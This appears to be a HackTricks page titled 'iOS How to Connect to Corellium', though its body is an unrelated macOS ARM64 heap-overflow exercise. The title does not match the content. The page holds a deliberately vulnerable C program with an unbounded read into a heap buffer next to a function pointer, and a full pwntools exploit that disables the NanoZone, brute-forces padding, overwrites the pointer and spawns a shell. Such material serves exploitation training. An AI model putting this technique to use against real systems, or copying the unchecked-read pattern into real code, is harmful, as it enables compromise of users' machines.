iOS How to Connect to Corellium
Reading time: 6 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Vuln Code
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
Compile it with:
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
Exploit
warning
This exploit is setting the env variable MallocNanoZone=0
to disable the NanoZone. This is needed to get adjacent allocations when calling malloc
with small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected.
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.